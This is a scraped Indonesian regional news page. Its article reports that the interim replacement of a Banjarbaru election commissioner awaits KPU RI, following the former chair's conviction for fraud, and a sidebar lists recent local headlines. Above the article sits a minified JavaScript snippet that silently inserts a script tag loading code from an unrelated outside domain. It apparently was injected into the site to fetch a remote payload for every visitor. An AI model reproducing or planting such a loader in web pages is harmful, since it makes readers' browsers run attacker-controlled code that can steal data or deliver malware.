(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PEMILU 2024

Pelantikan PAW Komisioner KPU Banjarbaru Tunggu KPU RI


KANALKALIMANTAN.COM, BANJARBARU – Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan menjelang pencoblosan pada Pilkada 2024 terhitung hanya tersisa 39 hari.

Sejak bulan September lalu, Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) telah mengajukan proses PAW ke KPU RI. Pasca vonis hukum berkekuatan tetap kepada mantan Ketua KPU Kota Banjarbaru, Rozy Maulana.

Namun sampai informasi yang diterima hari Kamis (17/10/2024), proses pelantikan yang akan dilakukan untuk PAW anggota KPU Kota Banjarbaru masih ditunda.

Anggota KPU Kalsel Divisi Sosialisasi Pendidikan Pemilih, Partisipasi Masyarakat dan Sumber Daya Manusia (Sosdiklih Parmas SDM), Muhammad Fahmi Failasopa mengatakan, proses pelantikan PAW masih menunggu arahan dari KPU RI.

Baca juga: Nasib Tiga Proyek Dinas PUPR Kalsel Pasca OTT KPK

“Sebelumnya memang ada informasi yang disampaikan via WhatsApp oleh Biro SDM KPU RI terkait rencana pelantikan PAW KPU Banjarbaru,” ujar Muhammad Fahmi Failasopa.

“Namun sampai detik ini, tidak ada surat resminya. Sehingga kami pun masih dalam posisi menunggu,” sambung dia.

Adapun KPU RI juga telah mengeluarkan Surat Keputusan Nomor 1285 Tahun 2024 tentang Pemberhentian Tidak Hormat Anggota KPU Kota Banjarbaru Provinsi Kalimantan Selatan Periode 2023-2028.

SK yang diteken oleh Ketua KPU RI, Mochammad Afiffudin di Jakarta pada Rabu (11/9/2024) itu, memuat terkait pemberhentian eks anggota KPU Banjarbaru, Rozy Maulana yang terseret kasus hukum.

Baca juga: Talk Show HUT ke-8 RSD Idaman Seni Mengelola Konflik dalam Rumah Tangga

Dalam putusan juga menyebutkan bahwa Keputusan KPU RI Nomor 721 Tahun 2023 yang berisi pengangkatan Rozy Maulana, dicabut dan dinyatakan tidak berlaku.

Sekadar mengingatkan, perkara yang menyeret Rozy Maulana bermula dari adanya kasus dugaan penipuan dan penggelapan.

Kasus ini mencuat pada awal Juli 2024 lalu, ditandai dengan pergantian pucuk pimpinan KPU Banjarbaru yang semula dijabat olehnya, diganti oleh Dahtiar yang kini menjabat Ketua KPU Banjarbaru definitif. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Door to Door Kanalkalimantan Peduli-MPA Fisipioneer Antar Sembako di Tanjung Rema

KANALKALIMANTAN.COM, MARTAPURA – Merasakan langsung air yang merendam rumah warga, Tim Kanalkalimantan Peduli – Mahasiswa… Read More

4 jam ago

Persawahan Terendam, Petani Tak Bisa Berbuat Apa-apa

KANALKALIMANTAN.COM, MARTAPURA — Banjir yang menenggelamkan wilayah Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar mematikan… Read More

4 jam ago

UMP 2026 Kalimantan Selatan Naik 6,54%, Begini Aturannya!

Gubernur Kalimantan Selatan telah menetapkan Upah Minimum Provinsi tahun 2026 pada hari Rabu, 24 Desember… Read More

5 jam ago

Pemkab Kapuas Bahas Skema Penyelesaian Tenaga Non ASN

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo memimpin rapat koordinasi penyelesaian tenaga non Aparatur… Read More

6 jam ago

Wabup Kapuas: Hindari Pemborosan, Hentikan Budaya Dilayani

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar apel gabungan awal tahun 2026 bagi seluruh… Read More

6 jam ago

Banjir Balangan: 34 Desa Terdampak di 6 Kecamatan, Ratusan Rumah Rusak

KANALKALIMANTAN.COM, PARINGIN - Bencana banjir yang melanda Kabupaten Balangan sejak akhir Desember 2025 berdampak pada… Read More

7 jam ago

This website uses cookies.